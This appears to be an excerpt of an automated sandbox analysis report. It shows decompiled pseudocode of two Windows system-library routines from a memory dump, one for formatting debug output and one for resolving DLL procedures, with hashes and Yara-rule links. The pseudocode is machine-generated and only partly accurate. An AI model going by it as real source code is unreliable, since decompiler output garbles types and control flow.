__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D6B9A5

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 62a4dc4598c42195166e871c91611d3ca1bed72522b948f7c7cddaee19c41d1d
Instruction ID: 24471956b298a6bdc4c1e4b7411baf09d78974fb9f619fedc58441534995749c
Opcode Fuzzy Hash: 62a4dc4598c42195166e871c91611d3ca1bed72522b948f7c7cddaee19c41d1d
Instruction Fuzzy Hash: D8512571A08304CFC720DF69C48092ABBE5FB88724F28496EF595D7255DB71EC84CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D4B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00D4B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0xe1f7a8);
				E00D9D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E00D9D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E00D8D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E00D8F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L00D9DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E00D8B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E00D8B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E00D8E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E00D8A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x00d4b171
0x00d4b171
0x00d4b171
0x00d4b171
0x00d4b171
0x00d4b176
0x00d4b17b
0x00d4b180
0x00d4b186
0x00d4b18f
0x00d4b198
0x00d4b1a4
0x00d4b1aa
0x00da4802
0x00da4802
0x00da4805
0x00da480c
0x00da480e
0x00d4b1d1
0x00d4b1d3
0x00d4b1de
0x00d4b1de
0x00da4817
0x00da481e
0x00da4820
0x00da4822
0x00da4822
0x00da4824
0x00da4824
0x00da482a
0x00000000
0x00000000
0x00da4835
0x00da483a
0x00da483d
0x00da483f
0x00da4842
0x00da4842
0x00da4842
0x00da4846
0x00da484c
0x00da484e
0x00da4851
0x00da4851
0x00da4853
0x00da4854
0x00da4854
0x00da4858
0x00da485a
0x00da485a
0x00da485d
0x00da485f
0x00da4861
0x00da4861
0x00da4866
0x00da486b
0x00da486e
0x00da4871
0x00da4876
0x00da4876
0x00da4878
0x00da487b
0x00da4884
0x00da4884
0x00000000
0x00da487d
0x00da487d
0x00da4882
0x00da4889
0x00da4889
0x00da488f
0x00da4891
0x00da48e0
0x00da48e2
0x00da48e4
0x00da48e4
0x00da48e7
0x00da48e7
0x00da48ed
0x00da48f4
0x00da48f6
0x00da4951
0x00da4951
0x00da4953
0x00da4953
0x00da4956
0x00da4956
0x00da4958
0x00da4959
0x00da4959
0x00da495d
0x00da495d
0x00da495f
0x00da495f
0x00da4965
0x00da4969
0x00da49ba
0x00da49ba
0x00da49c1
0x00da49c5
0x00da49cc
0x00da49d4
0x00da49d7
0x00da49da
0x00da49e4
0x00da49e5
0x00da49f3
0x00da4a02
0x00000000
0x00da4a02
0x00da4972
0x00da4974
0x00000000
0x00000000
0x00da4976
0x00da4979
0x00da4982
0x00da4983
0x00da4984
0x00da498b
0x00da498d
0x00da4991
0x00da4993
0x00da4999
0x00da499d
0x00da49a2
0x00da49a2
0x00da49a2
0x00da4999
0x00da49ac
0x00000000
0x00da49b3
0x00da48f8
0x00da48fe
0x00000000
0x00000000
0x00000000
0x00da48fe
0x00da4895
0x00da489c
0x00da48ad
0x00da48b2
0x00da48b5
0x00da48b7
0x00da48ba
0x00da48bc
0x00da48c6
0x00da48c6
0x00da48cb
0x00da48d1
0x00da48d4
0x00da48d8
0x00da48d8
0x00000000
0x00da48d8
0x00da48be
0x00da48c0
0x00000000
0x00000000
0x00da48c2
0x00000000
0x00000000
0x00000000
0x00da48c4
0x00000000
0x00da4882
0x00da487b
0x00da4904
0x00da4906
0x00000000
0x00000000
0x00da4908
0x00da490e
0x00000000
0x00000000
0x00da4910
0x00da4917
0x00da4917
0x00000000
0x00da4917
0x00d4b1ba
0x00da47f9
0x00da47fc
0x00000000
0x00000000
0x00000000
0x00da47fc
0x00d4b1c0
0x00d4b1c0
0x00d4b1c3
0x00d4b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 00DA48AD

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 37786bf2dd39da5bb342d823a80e7440e832ccec9551948485c93e691ebbca94
Instruction ID: 832cfc5a867a7a82c9f8cc088611e75f5223ae9239f34b96ce7a4df0646399dc
Opcode Fuzzy Hash: 37786bf2dd39da5bb342d823a80e7440e832ccec9551948485c93e691ebbca94
Instruction Fuzzy Hash: 9251C171D002598ADB24DF748845BAEBBB1EF82710F2441ADE859AB281D7B48D458FB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D5E0, Relevance: 1.6, Strings: 1, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00D5D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0xe3d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E00D56600(0xe352d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0xe37b9c; // 0x0
							_t281 = L00D64620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E00D8F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0xe37b90; // 0x779c0000
								if(_t384 == 0) {
									_t353 =  *0xe37b8c; // 0x7829f8
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E00D62280(_t200, 0xe384d8);
									_t277 =  *0xe385f4; // 0x782ee8
									_t351 =  *0xe385f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x782e80
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E00D5FFB0(_t287, _t353, 0xe384d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E00D9CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E00D56600(0xe352d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E00D57926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0xe3b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E00DCE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0xe38472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0xe3b218; // 0x0
														asm("ror edi, cl");
														 *0xe3b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E00D62280(_t250, 0xe384d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L00D83898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E00D5FFB0(_t293, _t353, 0xe384d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E00D837F5(_t353, 0);
																}
																E00D80413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E00D79B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E00D702D6(_t174);
																}
																L00D677F0( *0xe37b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E00D7C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L00D5EC7F(_t353);
										L00D719B8(_t287, 0, _t353, 0);
										_t200 = E00D4F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E00D8B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0xe3b2f8; // 0x12a0000
									if((_t206 |  *0xe3b2fc) == 0 || ( *0xe3b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0xe3b2ec; // 0x100
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E00DF6B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E00DF6AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E00D5E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L00D5EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E00D89730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E00D5E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L00D58F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E00D83C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x00d5d5f2
0x00d5d5f5
0x00d5d5f5
0x00d5d5fd
0x00d5d600
0x00d5d60a
0x00d5d60d
0x00d5d617
0x00d5d61d
0x00d5d627
0x00d5d62e
0x00d5d911
0x00d5d913
0x00000000
0x00d5d919
0x00d5d919
0x00d5d919
0x00d5d634
0x00d5d634
0x00d5d634
0x00d5d634
0x00d5d640
0x00d5d8bf
0x00000000
0x00d5d646
0x00d5d646
0x00d5d64d
0x00d5d652
0x00dab2fc
0x00dab2fc
0x00dab302
0x00dab33b
0x00dab341
0x00000000
0x00dab304
0x00dab304
0x00dab319
0x00dab31e
0x00dab324
0x00dab326
0x00dab332
0x00dab347
0x00dab34c
0x00dab351
0x00dab35a
0x00000000
0x00dab328
0x00dab328
0x00000000
0x00dab328
0x00dab326
0x00d5d658
0x00d5d658
0x00d5d65b
0x00d5d665
0x00000000
0x00d5d66b
0x00d5d66b
0x00d5d66b
0x00d5d66b
0x00d5d66d
0x00d5d672
0x00d5d67a
0x00000000
0x00000000
0x00d5d680
0x00d5d686
0x00d5d8ce
0x00d5d8d4
0x00d5d8dd
0x00d5d8e0
0x00d5d68c
0x00d5d691
0x00d5d69d
0x00d5d6a2
0x00d5d6a7
0x00d5d6b0
0x00d5d6b5
0x00d5d6e0
0x00d5d6b7
0x00d5d6b7
0x00d5d6b9
0x00d5d6b9
0x00d5d6bb
0x00d5d6bd
0x00d5d6ce
0x00d5d6d0
0x00d5d6d2
0x00dab363
0x00dab365
0x00000000
0x00dab36b
0x00000000
0x00dab36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00d5d6bf
0x00d5d6bf
0x00d5d6e5
0x00d5d6e7
0x00d5d6e9
0x00d5d6ec
0x00d5d6ec
0x00d5d6ef
0x00d5d6f5
0x00d5d6f9
